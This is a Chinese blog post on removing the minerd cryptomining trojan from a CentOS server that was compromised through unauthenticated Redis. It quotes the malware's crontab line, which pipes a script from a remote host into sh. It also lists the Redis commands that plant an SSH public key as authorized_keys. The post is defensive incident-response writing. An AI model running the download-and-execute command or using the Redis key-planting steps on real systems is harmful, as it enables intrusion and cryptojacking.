彻底清除Linux centos minerd木马
前几天,公司两台linux服务器,一台访问速度很慢,cpu跑满,一台免密码登录失效,公钥文件被改写成redis的key。用htop命令查询发现了minerd木马进程,初步猜测是redis没有配访问权限造成的。网上查询minerd木马,发现这是一个很常见的挖矿程序,相关猜测也得到了验证。
下文是网上搜索到的清除minerd木马方法。
现状描述
1、top可以看到,这个minerd 程序把cpu跑满了

2、ps aux | grep minerd
可知是这个程序: /opt/minerd
这个不是我们自己启动的,可以断定服务器被黑了
这个进程是root用户启动的,代码有漏洞可能性不大(web服务是www用户启动的),多半黑客已经登录服务器了

3、有可能是免密登录了,去/root/.ssh 目录下,并没有发现authorized_keys,但发现了KHK75NEOiq这个文件
查看 vim KHK75NEOiq
可以看到内容就是免密码登录的公钥

4、在ssh的配置文件/etc/ssh/sshd_config中也可以看到把AuthorizedKeysFile指向了这个文件了(.ssh/KHK75NEOiq)
猜想是这样的:通过authorized_keys免密码登录后,在这个目录下创建了KHK75NEOiq这个文件,修改了AuthorizedKeysFile的指向,就把authorized_keys这个文件删除了。

5、那么是写进来authorized_keys的那?
之前我处理过类似的问题,是redis未授权导致的,也就是说外网可以直接不用密码登录我的redis, 连上redis后,通过以下命令即可创建文件:
config set dir /root/.ssh
config set dbfilename authorized_keys
set key value,其中value为生成公钥,即可将公钥保存在服务器,使得登录时不需要输入账号与密码。
先堵住免登录漏洞
1、修改ssh端口
编辑/etc/ssh/sshd_config文件中的Port 22将22修改为其他端口
2、禁止root用户登陆
编辑/etc/ssh/sshd_config文件中的PermitRootLogin 修改为no
3、修改无密码登陆的文件路径
编辑/etc/ssh/sshd_config文件中的AuthorizedKeysFile 修改为其他文件路径
4、删除 .ssh下的 KHK75NEOiq
5、不让外网直接连接
在 redis.conf 文件中找到#bind 127.0.0.1,把前面的#号去掉,重启
找到木马守护进程
1、通常直接kill掉进程,是不好使的,肯定有守护进程,还有系统自启动,所以清理步骤是这样的:
1)干掉守护进程
2)干掉系统自启动
3)干掉木马进程
找到木马守护进程并干掉
守护进程有大概有两种存在形式,crontab 和常驻进程,常驻进程得慢慢分析,我们先看crontab,有一条不是我创建的任务。任务是:直接从远程下载一个脚本pm.sh 并执行。

2、我们来看看这个脚本

3、大致逻辑是这样的:
1)把 /10 * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 写入crontab
2)把authorized_keys删掉,并创建免登录文件/root/.ssh/KHK75NEOiq,修改ssh配置重启
3)curl下载/opt/KHK75NEOiq33 这个文件,并执行安装(/opt/KHK75NEOiq33 --Install),然后启动ntp
4、基本可以断定这个ntp就是守护进程,但看到ntp真的有些怕怕,ntp不是搞时间同步的吗,其实 Linux正常的ntp服务叫ntpd,并非ntp,很有迷惑性啊

5、但为了让自己放心,还是校验了一番
我们先从时间上校验,ntp是不是木马任务后创建的
查看这个木马任务第一次执行的时间
去/var/log下看cron的日志

6、Jul 24 09:23:01 第一次执行: curl -L http://r.chanstring.com/pm.sh?0703
Jul 24 09:30:01 第一次我们目前crontab里的任务:curl -fsSL http://r.chanstring.com/pm.sh?0706
Jul 24 09:49 脚本/etc/init.d/ntp的创建时间
从pm.sh这个脚本可知 curl下来/opt/KHK75NEOiq33这个文件,并执行安装 /opt/KHK75NEOiq33 --Install 比较耗时间,我执行了一下,在我的机器上是10多分钟。
所以创建时间上基本吻合

7、我们看一下ntp的随系统启动
runlevel 2 3 4 5都启动了,够狠的呀

8、看一下常用的3吧
可以看到 有个S50ntp 软链了脚本/etc/init.d/ntp

9、我们查看系统启动日志
vim /var/log/boot.log
有一条是Staring S50ntp,这个基本对应脚本/etc/init.d/ntp 中的 echo "Starting $name"

10、我们来看一下 /etc/init.d/ntp 这个脚本
$name应该就对应的值是 S50ntp,通过stdout_log,stderr_log,pid_file也得到了验证。

11、通过搜索安装文件(/opt/KHK75NEOiq33),可知看到 /opt/KHK75NEOiq33 --Install的过程中写入了ntp脚本 自启动 /opt/minerd等一系列的操作。

12、打开 /usr/local/etc/minerd.conf,内容就是/opt/minerd这个进程后的一些参数

13、好了 验证完毕,可以干掉这个ntp了
清理木马
1、去掉crontab文件中的有关木马内容:
/var/spool/cron/crontabs/root
/var/spool/cron/root
2、干掉守护进程ntp,并删除相关文件


3、干掉木马进程及其文件

4、干掉安装文件及免密登录的文件

5、干掉随系统启动的文件

6、top一下 一切都正常了!

7、重启一下,也没问题了

彻底清除Linux centos minerd木马的更多相关文章
- 彻底清除Linux centos minerd木马 实战 跟redis的设置有关
top -c把cpu占用最多的进程找出来: Tasks: total, running, sleeping, stopped, zombie Cpu(s): 72.2%us, 5.9%sy, 0.0% ...
- redhat linux/CentOS 6/7 如何关闭防火墙?
redhat linux/CentOS 6/7 如何关闭防火墙?关闭防火墙iptables的具体命令如下: 临时性的完全关闭防火墙,可以不重启机器(但是重启服务器后iptables防火墙服务会自动随系 ...
- 记录Linux CentOS 7系统完整部署Docker容器环境教程
笔者之前有在"详细介绍Ubuntu 16.04系统环境安装Docker CE容器的过程"文章中有介绍到利用Ubuntu系统安装Docker容器环境的过程.如果我们有使用CentOS ...
- NO.4day LINUX centos 文件基本操作
LINUX centos 文件基本操作 1 LINUX简介 Linux的定义:Linux是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和UNIX的多用户.多任务.支持多线程和多CP ...
- Linux(Centos )的网络内核参数优化来提高服务器并发处理能力【转】
简介 提高服务器性能有很多方法,比如划分图片服务器,主从数据库服务器,和网站服务器在服务器.但是硬件资源额定有限的情况下,最大的压榨服务器的性能,提高服务器的并发处理能力,是很多运维技术人员思考的问题 ...
- .Net Core 项目发布到Linux - CentOS 7(二)用Supervisor守护netcore进程
简介 supervisor可以保证程序崩溃后,可以重新把程序启动起来等相关功能. 安装 yum install -y supervisor 安装好后在/etc/会生成一个supervisord.con ...
- .NET Core部署到linux(CentOS)最全解决方案,入魔篇(使用Docker+Jenkins实现持续集成、自动化部署)
通过前面三篇: .NET Core部署到linux(CentOS)最全解决方案,常规篇 .NET Core部署到linux(CentOS)最全解决方案,进阶篇(Supervisor+Nginx) .N ...
- Linux CentOS 配置Tomcat环境
一.下载Tomcat 下载Tomcat方式也有两种,可以参考我的前一篇博文Linux CentOS配置JDK环境,这边就不再赘述. 二.在Linux处理Tomcat包 1.创建tomcat文件夹 mk ...
- NoSql1 在Linux(CentOS)上安装memcached及使用
前言: 今天是初五,生活基本要从过年的节奏中回归到正常的生活了,所以想想也该想想与工作有关的事情了.我之前在工作中会经常使用memcached和redis,但是自己一直没有时间系统的好好看 ...
随机推荐
- day002-HTML知识点总结:浏览器兼容性之指定IE浏览器使用chrome内核渲染页面
今天再浏览大淘宝首页时,突然看到这么一个东东: ,顿时好费解,莫非万恶的IE浏览器认识到自己以往的罪孽,开始兼容chrome了??! 于是本着不懂就百度的神精,开始纵横于各大铁耙,勃哥,终于找到了许许 ...
- python类与对象基本语法
面向对象编程的2个非常重要的概念:类和对象. 对象是面向对象编程的核心,在使用对象的过程中,为了将具有共同特征和行为的一组对象抽象定义,提出了另外一个新的概念--类. 类就相当于制造飞机时的图纸,用它 ...
- 爬楼梯问题-斐波那契序列的应用.md
N 阶楼梯,一次可以爬1.2.3...n步,求爬楼梯的种类数 /** * 斐波那契序列 */ public class ClimbingStairs { // Sol 1: 递归 // 递归 公式:F ...
- 2017腾讯实习生Android客户端开发面试总结
欢迎访问我的个人博客转发请注明出处:http://wensibo.top/2017/04/13/2017Tencent_review/ 前言 先做个自我介绍,本人大三狗一枚,就读的是广州一个普通的一本 ...
- C#处理JSON 数据
网络中数据传输经常是xml或者json,现在做的一个项目之前调其他系统接口都是返回的xml格式,刚刚遇到一个返回json格式数据的接口,通过例子由易到难总结一下处理过程,希望能帮到和我一样开始不会的朋 ...
- Python科学计算—numpy模块总结(1)
作为一个本科学数学专业,目前研究非线性物理领域的研究僧.用什么软件进行纯科学计算好,Fortran永远是第一位的:matlab虽然很强大,可以很容易的处理大量的大矩阵,但是求解我们的模型(有时可能是几 ...
- xmlplus 组件设计系列之四 - 列表
列表组件是极其常用的一类组件,是许多视图组件系统的必须包含的.列表可以做的很简单,只显示简洁的内容.列表也可以做的很复杂,用于展示非常丰富的内容. 组成元素 列表离不开列表项以及包含列表项的容器.下面 ...
- 一文读懂 HTTP/2 特性
HTTP/2 是 HTTP 协议自 1999 年 HTTP 1.1 发布后的首个更新,主要基于 SPDY 协议.由互联网工程任务组(IETF)的 Hypertext Transfer Protocol ...
- 【2017-04--28】Winform中ListView控件
ListView 1.先设置列,设置视图属性选择Details. 添加列,修改列名. 2.编辑项(添加行数据) 添加一个ListViewItem对象,该对象的Text对应着是第一列的数据, 在该对象的 ...
- 使用 PHPStorm + Xdebug 实现断点调试(二)
一.配置 Xdebug 配置 Xdebug 相关参数,在 php.ini 文件中新增如下配置,如果没安装的,请参考<PHP 安装 Xdebug扩展>: [xdebug] xdebug.re ...